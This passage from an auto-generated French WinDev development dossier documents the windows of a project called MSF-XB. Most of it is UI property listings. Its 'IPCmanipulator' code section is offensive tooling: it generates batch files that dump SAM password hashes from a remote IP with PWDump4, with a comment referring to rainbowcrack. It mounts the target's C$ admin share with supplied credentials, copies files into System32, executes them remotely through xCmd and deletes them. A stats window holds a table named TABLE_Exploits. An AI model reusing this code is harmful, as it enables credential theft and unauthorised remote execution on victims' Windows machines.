Champ de saisie : PASSWORDS.SAIS_FIC

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Passwords :Ordre navigation 25Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 1Retrait gauche 2Position X interne 95Largeur interne 379

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage Largeur

Page 944: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 950

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : SCSystemButtonsBouton : SCSystemButtons.BTN_SYST_FERMER

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 1

Bulle d'aide FR,GB: FermerNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Close.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Close_Anim.gifNb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 945: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 951

Bouton : SCSystemButtons.BTN_SYST_MINIMIZE

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 3

Bulle d'aide FR,GB: RéduireNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Minimize.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Minimize_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 946: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 952

Bouton : SCSystemButtons.BTN_Syst_Maximize

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 2

Bulle d'aide FR,GB: AgrandirNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Maximise.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Maximize_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 947: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 953

Bouton : SCSystemButtons.BTN_UMC

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: &BoutonOrdre navigation 168Curseur survol 0On/Off Non

Altitude 4

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_UMC.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_UMC_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 948: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 954

IPCmanipulator Messages multilangues

N° Message

2000 FR: Sélectionnez un fichier...GB: Select a file...

2001 FR: Tous fichiers (*.*)GB: All Files (*.*)

2002 FR: Caractères baltesGB: Baltic Charset

2003 FR: Caractères chinois (République Populaire de Chine)GB: Chinese Charset (People's Republic of China)

2004 FR: Caractères chinois traditionnel (République de Taiwan)GB: Traditional Chinese Charset (Republic of Taiwan)

2005 FR: Caractères coréensGB: Korean Charset

2006 FR: Caractères de l'Europe de l'Est (Polonais, ...)GB: Eastern European Charset (Polish, etc.)

2007 FR: Caractères grecsGB: Greek Charset

2008 FR: Caractères hébreuxGB: Hebrew Charset

2009 FR: Caractères japonaisGB: Japanese Charset

2010 FR: Caractères russesGB: Russian Charset

2011 FR: Caractères thaïGB: Thai Charset

2012 FR: Caractères turquesGB: Turkish Charset

2013 FR: Caractères vietnamiensGB: Vietnamese Charset

2014 FR: Caractères romains à la norme ANSIGB: Roman Charset in ANSI Standard

Page 949: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 955

N° Message

2015 FR: Caractères arabesGB: Arabic Charset

2016 FR: Sélectionner un fichierGB: Select a file

2017 FR: Tous les fichiers (*.*)GB: All files (*.*)

N° mess.: numéro de message.

Page 950: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 4

26/10/2008 956

IPCmanipulator Code

Déclarations globales de IPCmanipulatorPROCEDURE IPCRACK(myIP="127.0.0.1")

Initialisation de IPCmanipulatorip=myIP

Titre_Fenetre()

Page 951: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 957

IPCmanipulator Code des champs

Clic sur Bouton1SI ip="" ALORS RepriseSaisie(ip)IPCRACK(ip,login,PASSWORDS.SAIS_FIC)

Clic sur BoutonSurvol1HLitRecherche(COMMANDE,COMMANDE,Combo_COMMANDE..ValeurAffichée)SI H.Trouve ALORS

HSupprime(COMMANDE)ListeAffiche(Combo_COMMANDE)

FIN

Clic sur CAPTURESAM//On vérifie qu'on a déjà le stro dans la base//AjouteSTRO(Combo_STRO..ValeurAffichée,LOGIN,PASS,135,"RPC",NomINI,CLECRYPTAGEPASS)

SI ip<>"" ALORSfSupprime("PW"+IP+".BAT")NumFicPW is int=fCrée("PW"+IP+".BAT")fFerme(NumFicPW)NumFicPW=fOuvre("PW"+IP+".BAT",foEcriture)SI NumFicPW=-1 ALORS

Erreur("erreur de création de PW"+IP+".BAT")SINON

fEcritLigne(NumFicPW,"PWDump4.exe "+IP+" /s:"+SHARE+" /o:SAM_"+IP+".txt"+" /u:"+Caract(34)+LOGIN+Caract(34))// fEcritLigne(NumFicPW,"copy C:\SAM_"+IP+".txt "+caract(34)+completerep(frepencours())+IP+"\SAM_"+IP+".txt"+caract(34))

// fEcritLigne(NumFicPW,"copy C:\SAM_"+IP+".txt d:\rainbowcrack12\")

SI PAUSE[1] ALORSfEcritLigne(NumFicPW,"PAUSE")

FINfFerme(NumFicPW)DDELance("PW"+IP+".BAT",DDEActif,Faux)

Page 952: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 958

FINFIN

Clic sur EXECUTER_COMMANDE//On vérifie qu'on a déjà le stro dans la base//AjouteSTRO(Combo_STRO..ValeurAffichée,LOGIN,PASS,135,"RPC",NomINI,CLECRYPTAGEPASS)

//On vérifie qu'on a déjà la commande dans la baseHLitRecherche(COMMANDE,COMMANDE,Combo_COMMANDE..ValeurAffichée)SI PAS H.Trouve ALORS

COMMANDE.COMMANDE=Combo_COMMANDE..ValeurAffichéeHAjoute(COMMANDE)ListeAffiche(Combo_COMMANDE)

FIN

SI PAUSE[1] ALORS//Procédure STRO_EXEC(IP,LOGIN,PASS,SHARE,COMMANDE="DIR",PAUSE=0,NOMBAT="XSTRO_EXEC")STRO_EXEC(IP,LOGIN,PASS,SHARE,Combo_COMMANDE..ValeurAffichée,1,"XSTRO_EXEC")

SINONSTRO_EXEC(IP,LOGIN,PASS,SHARE,Combo_COMMANDE..ValeurAffichée,0,"XSTRO_EXEC")

FIN

Clic sur BTN_SEL ( FICHIERDESTINATION )sSel est une chaînesSel = fSélecteur(DESTINATION, "Sélectionnez un fichier...", "Tous fichiers (*.*)"+TAB+"*.*", "*", fselOuvre+fselExiste)SI ssel<>"" ALORS

DESTINATION = sselMonParent = DESTINATION

FIN

Sortie de DESTINATION ( FICHIERDESTINATION )MonParent = DESTINATION

Clic sur BTN_SEL ( FICHIERSOURCE )sSel est une chaînesSel = fSélecteur(SOURCE, "Sélectionnez un fichier...", "Tous fichiers (*.*)"+TAB+"*.*", "*", fselOuvre+fselExiste)SI ssel<>"" ALORS

SOURCE = sselMonParent = SOURCE

FIN

Sortie de SOURCE ( FICHIERSOURCE )

Page 953: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 959

MonParent = SOURCE

Initialisation de IPMoiMême="127.0.0.1"

Initialisation de LOGINMoiMême="Administrateur"IF Nation()=3 THEN

MoiMême="Administrator"END

Clic sur BTN_SEL ( LOGINS )sSel est une chaînesSel = fSélecteur(SAIS_FIC, "Sélectionnez un fichier...", "Tous fichiers (*.*)"+TAB+"*.*", "*", fselOuvre+fselExiste)SI ssel<>"" ALORS

SAIS_FIC = sselMonParent = SAIS_FIC

FIN

Sortie de SAIS_FIC ( LOGINS )MonParent = SAIS_FIC

Clic sur BTN_SEL ( PASSWORDS )sSel est une chaînesSel = fSélecteur(SAIS_FIC, "Sélectionnez un fichier...", "Tous fichiers (*.*)"+TAB+"*.*", "*", fselOuvre+fselExiste)SI ssel<>"" ALORS

SAIS_FIC = sselMonParent = SAIS_FIC

FIN

Sortie de SAIS_FIC ( PASSWORDS )MonParent = SAIS_FIC

Initialisation de PAUSE

Page 954: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 960

MoiMême[1]=1

Clic sur BTN_SYST_FERMER ( SCSystemButtons )

Clic sur BTN_Syst_Maximize ( SCSystemButtons )

Clic sur BTN_SYST_MINIMIZE ( SCSystemButtons )

Clic sur BTN_UMC ( SCSystemButtons )

A chaque modification de SELDESTINATIONSI MoiMême[1]=1 ALORS

fichierDESTINATION.DESTINATION="\WINNT\System32\"SINON

fichierDESTINATION.DESTINATION="\WINDOWS\System32\"FIN

Initialisation de SHAREMoiMême="C$"

Clic sur TRANSFERT//On vérifie qu'on a déjà le stro dans la base//AjouteSTRO(Combo_STRO..ValeurAffichée,LOGIN,PASS,135,"RPC",NomINI,CLECRYPTAGEPASS)

NOMFIC is string="UPLOAD"+IP+".BAT"fSupprime(NOMFIC)NumFic is int=fCrée(NOMFIC)

Page 955: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 961

fFerme(numfic)numfic=fOuvre("UPLOAD"+IP+".BAT",foEcriture)SI numfic=-1 ALORS

Erreur("erreur de création de "+NOMFIC)RETOUR

SINONsNOMFICHIER is string=FICHIERSOURCEsFICHIERDESTINATION is string=FICHIERDESTINATION.DESTINATIONSI sNOMFICHIER="" ALORS

fFerme(numfic)RepriseSaisie(FICHIERSOURCE)fSupprime(NOMFIC)

FINfEcritLigne(numfic,"net use \\"+ip+"\"+SHARE+" "+PASS+" "+Caract(34)+"/user:"+LOGIN+Caract(34))

SI TYPETRANSFERT[1]=1 ALORS //UPLOAD : LOCAL=>STRO

//On enregistre les infos du fichier qu'on transfert (nom initial, nom sur le stro)fictrouvé is int=0HLitRecherche(FICHIER,IDSTRO,STRO.IDSTRO)TANTQUE H.Trouve ET fictrouvé=0

SI FICHIER.CHEMINLOCAL=sNOMFICHIER ET FICHIER.CHEMINSTRO=SHARE+fichierDESTINATION.DESTINATION+sFICHIERDESTINATION ALORSfictrouvé=1

FINHLitSuivant(FICHIER)

FINSI fictrouvé=0 ALORS

FICHIER.IDSTRO=STRO.IDSTROFICHIER.NOM=sFICHIERDESTINATIONFICHIER.CHEMINLOCAL=sNOMFICHIERFICHIER.CHEMINSTRO=SHARE+fichierDESTINATION.DESTINATION+sFICHIERDESTINATIONHAjoute(FICHIER)

FIN

SI Gauche(fichierDESTINATION.DESTINATION,1)<>"\" ALORSfEcritLigne(numfic,"copy /Y "+Caract(34)+sNOMFICHIER+Caract(34)+" \\"+ip+"\"+SHARE+"\"+fichierDESTINATION.DESTINATION+sFICHIERDESTINATION)

SINONfEcritLigne(numfic,"copy /Y "+Caract(34)+sNOMFICHIER+Caract(34)+" \\"+ip+"\"+SHARE+fichierDESTINATION.DESTINATION+sFICHIERDESTINATION)

FINSINON //DOWNLOAD : LOCAL <= STRO

SI Gauche(fichierDESTINATION.DESTINATION,1)<>"\" ALORSfEcritLigne(numfic,"copy /Y \\"+ip+"\"+SHARE+"\"+fichierDESTINATION.DESTINATION+sFICHIERDESTINATION+" "+Caract(34)+sNOMFICHIER+Caract(34))

SINON

Page 956: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 962

fEcritLigne(numfic,"copy /Y \\"+ip+"\"+SHARE+fichierDESTINATION.DESTINATION+sFICHIERDESTINATION+" "+Caract(34)+sNOMFICHIER+Caract(34))

FINFIN

//*******************************************************************************************************************************//TRAITEMENT DES OPTIONS CASES A COCHER//*******************************************************************************************************************************SI TYPETRANSFERT[1]=1 ALORS //UPLOAD : LOCAL=>STRO

SI OPTIONS_UPLOAD[1]=1 ALORS //On execute la commande sur le strofEcritLigne(numfic,"f:")fEcritLigne(numfic,"cd \")fEcritLigne(numfic,"cd F:\0APPZ\CB\CBstro_machine2")

// fecritligne(numfic,"net use \\"+Combo_STRO..ValeurAffichée+"\"+SHARE+" "+PASS+" "+caract(34)+"/user:"+LOGIN+caract(34))fEcritLigne(numfic,"xCmd \\"+ip+" /u:"+Caract(34)+LOGIN+Caract(34)+" /pw:"+PASS+" "+Caract(34)+sFICHIERDESTINATION+Caract(34))

FIN

SI OPTIONS_UPLOAD[2]=1 ALORS //On DELete le fichier sur le strofEcritLigne(numfic,"xCmd \\"+ip+" /u:"+Caract(34)+LOGIN+Caract(34)+" /pw:"+PASS+" "+Caract(34)+"DEL "+sFICHIERDESTINATION+Caract(34))FIN

SINON //DOWNLOAD : LOCAL <= STROSI OPTIONS_DOWNLOAD[1]=1 ALORS //On ouvre le fichier téléchargerLanceAppliAssociée(Caract(34)+sNOMFICHIER+Caract(34))FIN

FIN

fEcritLigne(numfic,"net use \\"+ip+"\"+SHARE+" /delete")SI PAUSE[1] ALORS

fEcritLigne(numfic,"PAUSE")fEcritLigne(numfic,"DEL "+NOMFIC)

FINFINfFerme(numfic)DDELance("UPLOAD"+IP+".BAT",DDEActif,Faux)

A chaque modification de TYPETRANSFERTSI MoiMême[1]=1 ALORS //UPLOAD// IMG_UPLOAD..Visible=vrai

OPTIONS_UPLOAD..Visible=Vrai// IMG_DOWNLOAD..Visible=faux

OPTIONS_DOWNLOAD..Visible=FauxTransfert..Libellé="UPLOAD"

SINON

Page 957: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 963

// IMG_UPLOAD..Visible=fauxOPTIONS_UPLOAD..Visible=Faux

// IMG_DOWNLOAD..Visible=vraiOPTIONS_DOWNLOAD..Visible=VraiTransfert..Libellé="DOWNLOAD"

FIN

Page 958: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 964

MSFXB_Stats Image

Page 959: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 965

MSFXB_Stats Informations générales

MSFXB_Stats

Fichier physique G:\Mes Projets\MSF-XB11\MSFXB_Stats.wdw

Crée par JA

Date de création 22/09/2007 21:46:12

Dernière modification par JA-PSI

Date dernière modification 22/07/2008 08:01:13

TitreFR: Titre de la fenêtreGB: Window Title

Type fenêtre Fenêtre libre

Mode ouverture Centrée par rapport à l'écran

Note pour le dossier

FR,GB: FR,GB:

Position X 5 Position Y 5 Largeur 1032

Hauteur 774

Visible Barre de titre Menu systèmeIcone réduction Icone agrandissement Icone aide ctx.Barre de message Détourer le fond Mode 9 imagesRedimensionnable Avec grip Grip dans imageDéplace/fond Sauve position Ascenseur auto.Gestion grande police Menu look XP Thème XPCtx. HF indép.

Etat initial ActifClic droit

Page 960: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 966

Curseur survol 0Menu contextuel

Fichier aide ctx.

Opacité 100Type cadre <Aucun>Transparence Vista NonTransparence gérée par Vista Non

Valide auto. 0Bouton auto.Lib. + tps restant NonGroupe MDIPos. X Menu 8Pos. Y Menu 26M.C.U. OuiAnim. Ouverture 0Anim. Fermeture 0Durée Anim. Ouverture 100Durée Anim. Fermeture 50Adapte Taille contenu NonAssombri quand inactif OuiDéplace souris sur bouton par défaut Non

Fichier parcouru 0Rub. parcourue

ImageImage fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Bg_Base.gifIconeImage poignée G:\Mes Projets\MSF-XB11\MediaPlayer_Resize.gif

Page 961: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 967

Statistiques de la fenêtreLibellé 1 Bouton 4

Image 1 Table 1

Superchamp 1 Option de menu 1

Colonne de table 2

Nombre d'éléments dans la fenêtre : 11

MSFXB_Stats Informations sur les champs

Fenêtre : MSFXB_StatsLibellé

Position Position Largeur Hauteur Plan Visib Etat initial Cadrage horz. Cadrage vert. Form Anim

RADTitle 9 4 883 18 0 Actif Gauche Centre

ImagePosition Position Largeur Hauteur Plan Visib Etat initial Avec Priori Anim Avec

BTN_Syst_Restore 722 -19 14 14 0 Actif

Page 962: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 968

TablePosition Position Largeur Hauteur Plan Visib Etat initial Touc Fichier Parc Utili Bloc Enre Multi Affic Asc. Bull Saisi Gest Mém Colonne Com

TABLE_Exploits 35 48 942 433 0 affichag Mémoire 0

SuperchampPosition Position Largeur Hauteur Plan Visib Etat initial Touc

SCSystemButtons 898 1 128 18 0 Actif

Table : TABLE_ExploitsColonne de table

Type Largeur Visib Etat initial Fixée Dépl Larg Colo Avec Cadrage horz. Cadrage vert. Type saisie Multi Form Liste Avec Saisi

COL_Column1 822 Actif Gauche Centre Texte

COL_Column2 100 Actif Droite Centre Numériqu

Superchamp : SCSystemButtonsBouton

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_SYST_FERMER 982 0 44 19 0 Actif Normal

BTN_SYST_MINIMIZE 932 0 26 19 0 Actif Normal

BTN_Syst_Maximize 958 0 25 19 0 Actif Normal

BTN_UMC 898 0 24 19 0 Actif Normal

Page 963: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 969

Fenêtre : MSFXB_StatsImage : BTN_Syst_Restore

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Restore.gifCurseur survol 0Synchro Infos Partagées NonMenu FAA par défaut Non

Cadrage horz. GaucheCadrage vert. HautAltitude 3

Numéro aide 0

Opacité 100Ascenseur et zoom auto. Non

Mode 9 images Non

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 964: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 970

Libellé : RADTitle

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Titre de la fenêtreGB: Window Title

Curseur survol 0Synchro Infos Partagées Non

Altitude 1

Numéro aide 0

Opacité 100

Mode ellipse A la finUnicode Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : SCSystemButtons

Note pour le dossier

FR,GB: FR,GB: Ce superchamp est très utile pour les fenêtres sans barre de titre.

En effet, il simule les boutons système de la barre de titre d'une fenêtre : - Fermer - Agrandir/Restaurer - Iconiser

Ordre navigation 2

Altitude 2Largeur externe 128Hauteur externe 18

Page 965: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 971

Numéro aide 0

Valeur persistante Non

Fichier parcouru 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Table : TABLE_Exploits

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: TableGB:

Ordre navigation 1Curseur survol 0

Hauteur ligne max. 0Hauteur ligne 18Sens VerticalAltitude 4Retrait gauche 2

Numéro aide 0

Opacité 100Hauteur des lignes redimensionnable Non

Déplacement au pixel OuiAsc. horizontal AutomatiqueAsc. vertical OuiMode de sélection Sélection multipleAff. résultats Sans affichageSomme FR: Somme

GB: Sum

Page 966: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 972

Moyenne FR: MoyenneGB: Average

Compteur FR: CompteurGB: Counter

Titre multiligne OuiMenu ctx. colonne OuiMode menu ctx. <Aucun>

Nb. Enreg. Max 0Fichier parcouru 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : SCSystemButtonsBouton : SCSystemButtons.BTN_SYST_FERMER

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 1

Bulle d'aide FR,GB: FermerNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Close.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Close_Anim.gif

Page 967: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 973

Nb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : SCSystemButtons.BTN_SYST_MINIMIZE

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 3

Bulle d'aide FR,GB: RéduireNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Minimize.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Minimize_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>

Page 968: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 974

Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : SCSystemButtons.BTN_Syst_Maximize

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 2

Bulle d'aide FR,GB: AgrandirNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Maximise.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Maximize_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 969: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 975

Bouton : SCSystemButtons.BTN_UMC

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: &BoutonOrdre navigation 168Curseur survol 0On/Off Non

Altitude 4

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_UMC.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_UMC_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 970: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 976

Table : TABLE_ExploitsColonne de table : TABLE_Exploits.COL_Column1 (1)

Note pour le dossier

FR,GB: FR,GB:

Titre FR,GB: Column1Curseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 971: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 977

Colonne de table : TABLE_Exploits.COL_Column2 (2)

Note pour le dossier

FR,GB: FR,GB:

